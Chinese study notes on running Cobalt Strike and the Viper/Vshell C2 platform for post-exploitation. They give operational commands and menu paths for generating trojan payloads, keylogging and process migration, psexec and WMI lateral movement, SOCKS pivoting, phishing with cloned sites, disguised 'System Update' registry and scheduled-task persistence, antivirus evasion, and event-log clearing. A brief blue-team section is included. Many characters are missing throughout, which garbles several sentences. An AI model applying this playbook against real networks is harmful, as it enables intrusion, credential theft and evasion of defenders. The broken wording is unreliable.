Cobalt Strike 后渗透笔记:服务端/客户端架构、监听器怎么配、Beacon 会话管理、提权和横向移动的插件用法。
核心知识点
1. CS 是什么
- Cobalt Strike:由 Strategic Cyber LLC 开发的高级渗透测试框架,用于红队行动模拟、渗透测试、评估、恶意软件研究。
- 核心理念:模拟真实的高级持续性威胁(APT)攻击。
- 主要特点:多用户协作、隐藏通信(C2)、丰富的后渗透功能、自动生成专业报告。
- 重要声明:能在获得明确书面授权使用。
- 注意区分:CS 是渗透测试,不是同名游戏”反恐精英”。
2. CS 架构详解(三大核心角色)
- Team Client(客户端):“指挥官”,红队队员眼前的 GUI 界面。一个团队可以有多个客户端同时连接(协同作战)。
- Team Server(服务端):“司令部”/大脑和心脏,通常部署在互联网服务器上。作用是”中心”(收集受害电脑信息)+ “传令”(转发命令)。客户端/服务端架构是为了——指挥官躲在后面,服务器在前面挡子弹。
- Beacons(体):“间谍/卧底”,电脑的小程序。平时安静潜伏,每隔一段时间向 Team Server 发心跳信号(C2 通信),目标主机”上线”后可掌控。
C2 通信流程:指挥官在 Client 点按钮 → 指令传给 Team Server → Beacon 心跳时连回司令部 → 司令部转发指令 → Beacon 执行并回传结果 → 指挥官在屏幕上看到。
3. CS 与环境
系统要求:Team Server 用 Kali/Ubuntu/CentOS(至少 2-4GB );客户端支持 Windows/macOS/Linux,需要 Java。
# 1. Java
sudo apt update
sudo apt install openjdk-11-jdk
java -version
# 2. 解压 CS
unzip cobaltstrike-linux.zip
cd cobaltstrike
ls -la
# 目录:agscript(扩展脚本)、c2lint(C2检查)、cobaltstrike.jar(Java客户端)、teamserver(团队服务器启动脚本)、update
# 3. 生成 SSL 证书(可选但推荐)
keytool -genkey -keyalg RSA -alias cobaltstrike -keystore cobaltstrike.store -storepass password -keypass password -validity 3650 -keysize 2048 -dname "CN=cobaltstrike, OU=Community, O=Strategic Cyber LLC, L=Somewhere, ST=Somewhere, C=US"
# 4. 启动团队服务器(执行前加执行权限)
chmod +x teamserver
./teamserver <服务器IP> <密码> []
# 例:./teamserver 192.168.1.100 password123
# 5. 启动客户端
./cobaltstrike # 或 java -jar cobaltstrike.jar
客户端连接参数:Host(服务器 IP)、Port(默认 50050,纪要演示中使用 33000,也可能是端口)、User(任意用户名)、Password(启动时设置的密码)。
端口知识:80=网页服务,443=网页服务,50050=C2 团队服务器端口(可在启动时指定端口)。
纪要 12 次课 CS 实操要点:
- CS4.9 client 和 server 两个组件;server 端需运行 team_server 文件,建议部署在服务器上;client 端可 Windows,两台机器网络互通,否则无法连接。
- 将 CS 文件传到 Ubuntu 的
opt目录;检查 Java(java命令),未则apt install openjdk-11-jdk。 - 解压后用
ls -l检查 team server 执行权限,chmod +x加权限;启动指定 IP(客户端通过该 IP 连接)。 - 客户端连接三要素:服务器 IP、端口、密码,缺一不可。连接失败确认端口(默认 33000/50050)。
4. CS 图形界面详解
- 菜单栏:File(New Connection/Close/Preferences/Exit)、View、Attacks、Reporting、Help。
- View 菜单:Applications(应用视图)、Credentials(凭证存储)、Downloads(下载文件)、Event Log(事件日志)、Keystrokes(键盘记录)、Proxy Pivots(代理枢纽,把流量通过代理转发隐藏真实 IP)、Screenshots(截图)、Script Console。
- Attacks 菜单:Packages(Payload 生成)、Web Drive-by(Web 攻击)、Phishing(钓鱼攻击)。
- Reporting 菜单:Activity Report(活动报告)、Hosts Report(主机报告)、Indicators of Compromise(妥协指标 IOC)。
5. Payload 生成与部署
- Payload:攻击中传输到目标系统的恶意代码。
- HTML Application:
Attacks → Packages → HTML Application,选择 Listener 和 Method(VBA 宏或 EXE/DLL),生成 HTML 应用诱导目标执行。 - Windows Executable:
Attacks → Packages → Windows Executable,选监听器和输出格式:Windows Executable (S):stageless,一次传输完整代码,体积大Windows Executable:staged,分阶段传输,体积小
- MS Office 宏:在 Office 文档中 VBA 宏,用户打开文档启用宏后执行恶意代码(宏不是,但恶意宏可制作宏/木马)。
Payload 类型对比:
| 类型 | 特点 | 适用场景 |
|---|---|---|
| Staged | 分阶段传输,体积小 | 需要网络传输 |
| Stageless | 完整代码一次传输 | 独立文件,大小不敏感 |
| SMB | 通过 SMB 协议通信 | 网横向移动 |
| DNS | 通过 DNS 查询通信 | 严格防火墙环境 |
木马上线:生成的 exe 木马在目标双击运行后,控制端立即看到上线提示(IP、用户名、计算机名),无界面提示,察觉不到。
6. 监听器(Listener)
- 监听器:CS 中接收 Beacon 连接的组件,类似 Metasploit 的 handler。Beacon 通过监听器建立的通信渠道联系(HTTP?DNS?TCP?用哪个端口?)。
- 创建:
Cobalt Strike → Listeners → Add, Name、Payload、Host(Team Server IP)、Port。 - **HTTP Beacon **:
Payload: HTTP Beacon
Name: http-listener
HTTP Host: 192.168.1.100
HTTP Port: 80
- 监听器类型: | 类型 | 协议 | 特点 | |------|------|------| | HTTP Beacon | HTTP | 最常用,易于隐藏 | | HTTPS Beacon | HTTPS | 加密通信 | | DNS Beacon | DNS | 隐蔽性强 | | SMB Beacon | SMB | 网横向 | | TCP Beacon | TCP | 简单直接 |
创建木马:选 Listener(给木马绑定”接收端”),Listener 的 IP 是木马反向连接的”送货地址”,不对就”失联”。
7. Beacon 命令与控制
基础命令:
help # 查看帮助
sleep 60 # 设置回连时间(心跳)
cd / pwd / ls # 目录操作
mkdir / rm / cat # 文件操作
download # 下载文件
upload # 上传文件
execute # 执行程序
shell whoami # 执行 Shell 命令
powershell Get-Process # 执行 PowerShell 命令
ps # 列出进程
migrate <PID> # 进程迁移(防掉线/防查杀)
spawnto x64 C:\Windows\System32\notepad.exe # 迁移到新进程
keylogger # 键盘记录
交互式 Shell:shell 交互模式;shell ipconfig 执行单条命令。
8. 网渗透与横向移动
网信息收集:
ipconfig /all # 网络
arp -a # ARP 表
route print # 路由表
ipconfig /displaydns # DNS 缓存
portscan <目标IP> <端口范围> <扫描类型> # 端口扫描
凭据获取:keylogger 键盘记录;view credentials 查看已获取凭证。
横向移动技术:
psexec <目标IP> <监听器> # Psexec 横向移动
powershell <目标IP> <命令> # PowerShell 远程执行
wmiexec <目标IP> # WMI 执行
- 横向移动概念:已获得目标系统权限后,通过漏洞或错误在目标网络中横向移动到系统(如拿下 192.168.50.100 后进一步拿下 192.168.50.101)。(横向移动属于进阶内容,这篇不展开)。
代理与流量转发:
socks 1080 # 在目标主机创建 SOCKS 代理
rportfwd 8080 192.168.1.1 80 # 端口转发
9. 钓鱼攻击
- 钓鱼攻击:成可信实体,诱骗用户泄露敏感信息(用户名/密码等)。注意区分:浏览器显示的网址不一定是正规登录页。
- 钓鱼邮件要素:伪造发件人、官方、诱导点击链接、恶意附件。
- 创建钓鱼邮件:
Attacks → Phishing → 模板 → 发送。 - 网站:
Attacks → Web Drive-by → Clone Site,目标 URL 攻击选项。 - 托管钓鱼文件:
Attacks → Web Drive-by → Host File,生成钓鱼链接。
社会工程学(钓鱼的理论基础):
- 定义:利用人性弱点骗人。传统黑客破解密码/找漏洞,社工骗你主动说出密码。
- 常见手法:身份(客服/领导/警察)、制造紧迫感、利用好奇心、帮助、人员。
- 防范:多确认、不轻信、思考、核实身份。
10. 权限维持
- 权限维持(Persistence):在目标系统上建立长期存在机制,重启后仍能保持访问权限。
- 注册表启动项(推荐 Geek 卸载软件时删除):
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "System Update" /t REG_SZ /d "C:\malware.exe"
- 计划任务:
schtasks /create /tn "System Update" /tr "C:\malware.exe" /sc daily
- CS Persistence 脚本:Beacon 中执行
persistence。
11. 杀(初步概念)
- 生成的木马文件需做杀处理才能绕过防火墙软件(免杀属于进阶内容,之后单独整理)。
- 杀原理:杀毒软件靠认”特征码”抓木马,杀就是给木马”易容”。
- 基础思路:源码混淆、分离加载(把危险品拆成零件寄过去避开安检,到对方电脑自动)。
12. Viper(青龙)/Vshell 图形化平台
- C2 架构:像军事”指挥部”与”前线特工”。在 Linux 搭指挥部,派出木马目标 Windows。
- Viper(青龙):中文图形化黑客”指挥平台”,把复杂命令行操作变成鼠标点击。
- Vshell:“特工”传回的交互式对讲机,远程给目标下达指令。
离线部署:
# 1. Docker(离线版)
tar -xvf docker-*.tgz
sudo cp docker/* /usr/bin/
sudo dockerd &
# 2. Viper 镜像并启动
docker load -i viper.tar
docker run -d --name viper --net=host --restart always \
-v /var/run/docker.sock:/var/run/docker.sock viperplatform/viper:latest
# 3. 登录 https://127.0.0.1:60000(默认账号 admin / 密码 viper666)
核心实战:
- 监听器:【网络监听】→【新增监听器】,类型
reverse_https(成网页加密浏览),监听 IP 为 Linux 局域网 IP,端口 443。 - 生成杀 Payload:【载荷生成】→ 类型
windows/x64/meterpreter/reverse_https,勾选【源码混淆】/【分离加载】。 - Vshell 接管:目标上线后右键主机 →【控制台 (Vshell)】:
whoami确认身份- 文件浏览器下载目标桌面文件
- 插件搜”截图”实时屏幕监控
- 插件搜”进程迁移” explorer.exe 防止被
clearev事件日志
蓝队防守视角:
- 查流量:物理断网则 Viper 连接立即中断;企业用流量分析设备拦截未知 HTTPS 443 端口长连接。
- 查进程:任务管理器找无数字签名、名字随机、系统进程但路径不对的可疑程序。
- 行为拦截:即使静态杀,EDR 也会在”进程迁移""修改自启动项”等危险行为时强行拦截。
实操步骤
# 服务端
sudo apt install openjdk-11-jdk
unzip cobaltstrike.zip && cd cobaltstrike
chmod +x teamserver
./teamserver 192.168.1.100 password123
# 客户端
./cobaltstrike
# 连接:Host=192.168.1.100 Port=50050/33000 User=任意 Password=password123
# Beacon 常用
help
sleep 60
shell whoami
download secret.txt
upload malware.exe
ps
migrate 1234
keylogger
socks 1080
psexec 192.168.1.101 http-listener
persistence
常见错误与排查
- 客户端连不上服务端 → 确认三要素(IP/端口/密码)正确;两台机器网络互通;服务端界面不能退出(退出即停服)。
- 木马不上线 → 监听器 IP/端口与 Beacon 不;目标杀毒软件拦截(实时防护和防火墙测试)。
- 生成 exe 后被杀 → 需杀处理(源码混淆/分离加载)。
- .htaccess/.user.ini 等不生效 → 见文件上传那篇的环境差异说明。